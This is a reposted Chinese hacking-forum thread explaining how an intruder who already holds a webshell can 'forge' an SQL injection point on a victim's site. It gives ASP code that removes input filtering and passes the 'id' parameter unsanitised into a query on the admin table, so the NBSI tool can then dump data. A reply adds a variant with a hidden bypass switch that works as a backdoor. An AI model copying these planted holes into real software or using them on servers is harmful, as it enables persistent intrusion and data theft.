发新话题
打印

[转载]如何伪造SQL注入点

[转载]如何伪造SQL注入点

文章作者:pt007
信息来源:幻影旅团

有webshell了,可以用它直接连接数据库来执行数据查询,不用再伪造注入点文件了,另外你可以直接修改网站上的原ASP文件,把里面的过滤函数包括语句删除掉就有注入点了,一般过滤函数都inlcude在数据库连接文件conn.asp文件中.
在目标上先构造一个存在注入点的文件a.asp,里面的admin表是存在的,conn.asp是数据库连接程序,记得要把conn.asp文件中过滤函数包括语句给删掉,ASP代码如下:
<!--#include file="conn.asp"-->
<%
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from admin where id=" & id &#39;如果没有这个admin表,可以自己建立一个表和字段
rs.open strSQL,conn,1,3
rs.close
%>

然后输入:http://目标IP/a.asp?id=1
完成了,就这么简单,其他的信息就让他全部自己暴露出来吧.打开nbsi,一顿狂注,什么信息都出来啦,慢慢的浏览着他的目录..
Www.China-Mu.Co.Kr 猪毛奇迹 1.02Q 将带给你无比的震撼。

TOP

不要吧,太老的玩意。
andyower的万网我进来玩过两次,其中尾部就利用了这个,这种东西也要专门开个题出来。

TOP

提示: 作者被禁止或删除 内容自动屏蔽

TOP

这个倒不会,代码中加点工就可以了
<!--#include file="conn.asp"-->
<%
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
if action=ok then
id = request("id")
else
id=chkstr(request("id"))
end if
strSQL = "select * from admin where id=" & id &#39;如果没有这个admin表,可以自己建立一个表和字段
rs.open strSQL,conn,1,3
rs.close
%>

chkstr为通用过滤函数,我不记得写了,呵呵,

TOP

发新话题